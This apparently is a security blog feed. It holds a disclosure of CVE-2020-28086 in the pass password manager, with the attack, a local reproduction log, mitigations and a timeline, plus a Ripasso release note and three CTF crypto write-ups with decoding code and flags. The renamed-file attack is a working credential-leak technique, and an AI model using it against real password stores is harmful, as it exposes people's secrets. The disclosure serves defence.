CVE-2020-28086 information leakage through third party service in pass

18/09/21 — capitol

pass-passwordstore

pass is a password manager that encrypts your or your team’s passwords with GPG and optionally stores them in a Git repository.

Each password is encrypted in its own file, often named after the service and username. For example the password for the user richard on the service Spotify might be named spotify/richard.gpg.

Trust Boundaries

It’s possible to configure your usage of pass in many ways, but if you are using it in a team then this is a common setup:

Each member has a local machine with a GPG configuration that trusts all other members of the team.

The password store is in Git, and there is a central server to which all team members push and pull.

Here we have three zones:

  • Your own machine
  • The central server
  • The other team members

Any operator in one of the zones shouldn’t be able to cross a zone barrier and gain information or resources from another zone.

The Attack

If an attacker controls the following:

  • The central Git server or one of the other members’ machines
  • One of the services that have a password already in the password store

Then they can do the following:

Rename one of the password files in the Git repository to the password file of the controlled service.

pass doesn’t correctly verify that the content of file matches the filename, so a user might be tricked to decrypting the wrong password and send that to a service that the attacker controls.

Example

Given this setup:

  • A user Bob with a local installation of pass
  • A git server where the passwords are stored
  • One password to bob@server1.example.com
  • One password to bob@server2.example.com
  • An attacker called Mallory

If Mallory takes control over the central Git server and server2.example.com then he could rename the file named bob@server1.example.com.gpg to bob@server2.example.com and commit it.

The next time that Bob then does a git pull and accesses server2.example.com his password to server1.example.com will be exposed.

Possible Mitigations

GPG supports storing the filename in the encryption packet. This can be set with the --set-filename flag when storing a password and needs to be verified by the pass software before decryption happens.

But the filename field in GPG have a couple of problems. It’s limited to 255 bytes and the specification doesn’t specify what encoding that should be used. This might make it vulnerable to further attacks due to encoding confusion.

Another solution would be to use a signature notation packet in GPG. It has a length of up to 64 KB. It can also be set on the gpg command line:

echo 1 |
    gpg -se --sig-notation \!filename@pass=/path/to/file.gpg -r alexander.kjall@gmail.com |
    gpg -d --verify-options show-notations --known-notation \!filename@pass

Patches

A crude attempt at writing a patch for this vulnerability is in these two patches, adding signature and verify signature.

The patches tries to mitigate the vulnerability by applying a signature notation, but they don’t include any migration strategy for existing password stores.

Reproduction Steps

Here is a log of the steps to reproduce the vulnerability:

capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass init 0x1D108E6C07CBC406
Password store initialized for 0x1D108E6C07CBC406
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git init
Initialized empty Git repository in /tmp/store1/.git/
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server1.example.com
[master (root-commit) 208e574] Add generated password for bob@server1.example.com.
 1 file changed, 1 insertion(+)
 create mode 100644 bob@server1.example.com.gpg
The generated password for bob@server1.example.com is:
7A\ZOg(|`L.G0{Dce^a~SPiC~
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server2.example.com
[master 4e43e37] Add generated password for bob@server2.example.com.
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 bob@server2.example.com.gpg
The generated password for bob@server2.example.com is:
"}zC}4d[wD%N$<7D@WO@2QA-f
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git add .gpg-id
capitol@tool:/tmp/store1$ git commit -m ".gpg-id"
[master 29e4c37] .gpg-id
 1 file changed, 1 insertion(+)
 create mode 100644 .gpg-id
capitol@tool:/tmp/store1$ cd /tmp/server/
capitol@tool:/tmp/server$ git init --bare
Initialized empty Git repository in /tmp/server/
capitol@tool:/tmp/server$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git push --set-upstream /tmp/server/ master
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Delta compression using up to 4 threads
Compressing objects: 100% (8/8), done.
Writing objects: 100% (9/9), 1.56 KiB | 798.00 KiB/s, done.
Total 9 (delta 2), reused 0 (delta 0)
To /tmp/server/
 * [new branch]      master -> master
Branch 'master' set up to track remote branch 'master' from '/tmp/server/'.
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ git clone /tmp/server/ store2
Cloning into 'store2'...
done.
capitol@tool:/tmp$ cd store2/
capitol@tool:/tmp/store2$ cp bob@server1.example.com.gpg bob@server2.example.com.gpg
capitol@tool:/tmp/store2$ git add .
capitol@tool:/tmp/store2$ git commit -m "this is the attack"
[master d239dd5] this is the attack
 1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store2$ git push
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 406 bytes | 406.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0)
To /tmp/server/
   29e4c37..d239dd5  master -> master
capitol@tool:/tmp/store2$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git pull
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 2 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (2/2), 386 bytes | 386.00 KiB/s, done.
From /tmp/server
 * branch            master     -> FETCH_HEAD
Updating 29e4c37..d239dd5
Fast-forward
 bob@server2.example.com.gpg | Bin 173 -> 173 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store1$ PASSWORD_STORE_DIR=/tmp/store1 pass show bob@server2.example.com
7A\ZOg(|`L.G0{Dce^a~SPiC~

The password that is shown on the last line is the password associated with bob@server1.example.com.

Timeline

  • 2020-10-22 Email sent to main developer of pass
  • 2020-10-24 CVE requested
  • 2020-10-24 Email sent to main developer of QtPass
  • 2020-10-24 Email sent to main developer of gopass, the attack is outside of gopass stated security policy.
  • 2020-10-24 Email sent to main developer of upass, upass calls out to pass in a subshell and is therefore not directly affected.
  • 2020-10-24 Email sent to main developer of pass-winmenu
  • 2020-11-13 Email with first draft of a patch sent
  • 2020-12-07 CVE number assigned

Release of Ripasso version 0.5.0

17/10/20 — capitol

ripasso-cursive

After nine long months of development effort, we are proud to present ripasso version 0.5.0.

New Features

Support multiple password stores

We have implemented support for configuration files. You can now switch between different password directories from the menu.

directory-menu

Fuzzing of our dependencies

We did a small project where we went over our dependencies with a fuzzer, bugs found:

Some of them have been closed, some are in optional dependencies that we now have excluded and some are in a package that we want to start using in the future.

Password History View

If you press ctrl-H on a password entry, it will bring up the git history of that file.

password-history

Copy password file name

Copy the file name with ctrl-U, this can be useful if you have your username as the filename.

Bugs Fixed

Passwords in initial commit causes error

If the initial git commit contained files, that caused errors as ripasso didn’t consider that snapshot correctly.

Not assume that git branch should be named master

A hardcoding of the branch name was removed.

Credits

  • Joakim Lundborg - Developer
  • Alexander Kjäll - Developer
  • Silje Enge Kristensen - Norwegian bokmål translation
  • Camille Victor Prunier - French translation
  • David Plassmann - German translation

Also a big thanks to everyone who contributed with bug reports and patches.

Solution to Bornhack 2020 CTF challenge nc333

16/08/20 — capitol

tent_village

Name:

nc333

Category:

crypto

Points:

50

Writeup

This was the second challenge in the crypto category, this time with a lot of different encodings.

We got this file that contained a large number of encoded strings nested inside each other like a russian doll.

We wrote a small rust program to handle it:

use std::fs::File;
use std::io::prelude::*;

use base64::decode;
use crate::Commands::{Base64, Reverse, Rot13, Hex};

enum Commands {
    Base64,
    Reverse,
    Rot13,
    Hex
}

impl Commands {
    fn from(s: &str) -> Option<Commands> {
        if s.eq("base64") {
            return Some(Base64);
        }
        if s.eq("reverse") {
            return Some(Reverse);
        }
        if s.eq("rot13") {
            return Some(Rot13);
        }
        if s.eq("hex") {
            return Some(Hex)
        }

        eprintln!("unknown command: {}", s);
        None
    }
}

fn split_once(in_string: &str) -> (&str, &str) {
    let mut splitter = in_string.splitn(2, ':');
    let first = splitter.next().unwrap();
    let second = splitter.next().unwrap();
    (first, second)
}

fn rot(c :&char) -> char {
    if c.is_ascii_alphabetic() {
        let a = if c.is_ascii_lowercase() {
            b'a'
        } else {
            b'A'
        };
        let mut utf8 = [0u8; 1];
        c.encode_utf8(&mut utf8);
        let rot = (((utf8[0] - a) + 13) % 26) + a;
        std::char::from_u32(rot as u32).unwrap()
    } else {
        *c
    }
}

fn rot13(s: &String) -> String {
    s.chars().map(|c| rot(&c)).collect()
}

fn main() -> std::io::Result<()> {
    let mut file = File::open("challenge")?;
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;

    while !contents.starts_with("BHCTF") {
        let (command, text) = split_once(&contents);
        let command = Commands::from(command).unwrap();
        let decoded = match command {
            Base64 => {
                let t = &decode(text).unwrap();
                std::str::from_utf8(t).unwrap().to_string()
            },
            Reverse => text.chars().rev().collect::<String>(),
            Rot13 => rot13(&text.to_string()),
            Hex => {
                let t = hex::decode(text).unwrap();
                std::str::from_utf8(&t).unwrap().to_string()
            }
        };
        contents = decoded;
    }
    println!("{}", contents);
    Ok(())
}

Flag was BHCTF{b4se64_is_n0t_crypt0}.

Solution to Bornhack 2020 CTF challenge nc3

16/08/20 — capitol

tent_island

Name:

nc3

Category:

crypto

Points:

25

Writeup

This was the first challenge in the crypto category, just a couple of different encodings.

Challenge text:

base64:cmV2ZXJzZTo5UldZaTkxYno5RmR1TlhZMzlGZGhoR2Q3WkVWRGhrUTo0NmVzYWI=

We solved it with bash:

#!/bin/bash

cat nc3 | awk '{ print(substr($0, 8, length($0)))}'|base64 -d |\
    awk '{ print(substr($0, 9, length($0)))}'|rev|\
    awk '{ print(substr($0, 8, length($0)))}'|base64 -d
echo

Flag was BHCTF{that_wasnt_so_bad}.

Solution to Bornhack 2020 CTF challenge caesar_with_a_twist

16/08/20 — capitol

caesar

Name:

caesar_with_a_twist

Category:

crypto

Points:

75

Writeup

The third challenge in the crypto category, this was the first one with some actual encryption.

We got an encrypted text:

CLLJE{QtLo_wF_r_YqOI_bXrH_gpJw_WxPh_Sm_QraVmo_Se_IoSvvn_XyR_GeU_Ack_EDRDTIosscf_rj}

And a Python program that described how it was generated, analysing that program showed that it was a regular substitution cipher where the substitution key was changed for each character. The key was a function of that characters position in the string.

We reimplemented it in rust and wrote a reverse implementation:

use std::fs::File;
use std::io::prelude::*;

#[derive(Debug, Clone)]
struct CaesarError;

fn caesar_encrypt(original: char, base: u32) -> Result<char, CaesarError> {
    let letter = original as u32;

    // Ensures the base rotation does not exceed 26
    // If the base is 28, it exceeds 26, and ends up being 2 (after modulus)
    let base = base % 26;

    // If the letter is a space, underscore or curly brackets, just return it without rotating
    if letter == 32 || letter == 95 || letter == 123 || letter == 125 {
        return Ok(std::char::from_u32(letter).unwrap());
    }

    // If capital letter
    if 'A' as u32 <= letter && letter <= 'Z' as u32 {
        // If the base exceeds the alphabet
        return if ('Z' as u32) < (letter + base) {
            Ok(std::char::from_u32(letter + base - 26).unwrap())
        } else {
            Ok(std::char::from_u32(letter + base).unwrap())
        }
    }

    // If non-capital letter
    if 'a' as u32 <= letter && letter <= 'z' as u32 {
        // If the base exceeds the alphabet
        return if ('z' as u32) < (letter + base) {
            Ok(std::char::from_u32(letter + base - 26).unwrap())
        } else {
            Ok(std::char::from_u32(letter + base).unwrap())
        }
    }

    Err(CaesarError {})
}

fn caesar_decrypt(original: char, base: u32) -> Result<char, CaesarError> {
    let letter = original as u32;

    // Ensures the base rotation does not exceed 26
    // If the base is 28, it exceeds 26, and ends up being 2 (after modulus)
    let base = base % 26;

    // If the letter is a space, underscore or curly brackets, just return it without rotating
    if letter == 32 || letter == 95 || letter == 123 || letter == 125 {
        return Ok(std::char::from_u32(letter).unwrap());
    }

    // If capital letter
    if 'A' as u32 <= letter && letter <= 'Z' as u32 {
        // If the base exceeds the alphabet
        return if ('A' as u32) > (letter - base) {
            Ok(std::char::from_u32(letter - base + 26).unwrap())
        } else {
            Ok(std::char::from_u32(letter - base).unwrap())
        }
    }

    // If non-capital letter
    if 'a' as u32 <= letter && letter <= 'z' as u32 {
        // If the base exceeds the alphabet
        return if ('a' as u32) > (letter - base) {
            Ok(std::char::from_u32(letter - base + 26).unwrap())
        } else {
            Ok(std::char::from_u32(letter - base).unwrap())
        }
    }

    Err(CaesarError {})
}

fn encrypt(s: &String) -> Result<String, CaesarError> {
    let mut result:Vec<char> = vec![];
    for (i, c) in s.chars().enumerate() {
        result.push(caesar_encrypt(c, ((i + 1) * (i + 1)) as u32)?);
    }
    Ok(result.iter().collect::<String>())
}

fn decrypt(s: &String) -> Result<String, CaesarError> {
    let mut result:Vec<char> = vec![];
    for (i, c) in s.chars().enumerate() {
        result.push(caesar_decrypt(c, ((i + 1) * (i + 1)) as u32)?);
    }
    Ok(result.iter().collect::<String>())
}

fn main() -> std::io::Result<()> {
    let mut file = File::open("cwat_encrypted_flag.txt")?;
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;

    println!("{}", decrypt(&contents).unwrap());
    Ok(())
}

#[cfg(test)]
mod tests {
    use crate::CaesarError;
    use crate::caesar_decrypt;
    use crate::caesar_encrypt;
    use crate::encrypt;
    use crate::decrypt;

    static ASCII_LOWER: [char; 26] = [
        'a', 'b', 'c', 'd', 'e',
        'f', 'g', 'h', 'i', 'j',
        'k', 'l', 'm', 'n', 'o',
        'p', 'q', 'r', 's', 't',
        'u', 'v', 'w', 'x', 'y',
        'z',
    ];

    static ASCII_UPPER: [char; 26] = [
        'A', 'B', 'C', 'D', 'E',
        'F', 'G', 'H', 'I', 'J',
        'K', 'L', 'M', 'N', 'O',
        'P', 'Q', 'R', 'S', 'T',
        'U', 'V', 'W', 'X', 'Y',
        'Z',
    ];

    #[test]
    fn loop_all_ascii_chars() -> Result<(), CaesarError> {
        for base in 0..25 {
            println!("base = {}", base);
            for c in &ASCII_LOWER {
                assert_eq!(*c, caesar_decrypt(caesar_encrypt(*c, base)?, base)?);
            }
            for c in &ASCII_UPPER {
                assert_eq!(*c, caesar_decrypt(caesar_encrypt(*c, base)?, base)?);
            }
        }

        Ok(())
    }

    #[test]
    fn encrypt_test() -> Result<(), CaesarError> {
        assert_eq!("Ulri sp d ksfh", encrypt(&"This is a test".to_string())?);

        Ok(())
    }

    #[test]
    fn encrypt_loop() -> Result<(), CaesarError> {
        assert_eq!("This is a test", decrypt(&encrypt(&"This is a test".to_string())?)?);

        Ok(())
    }
}

Flag was BHCTF{ThIs_iS_a_VeRY_lOnG_flAg_MaDe_By_CaeSar_To_EnSure_YoU_DiD_Not_BRUTUSforce_it}.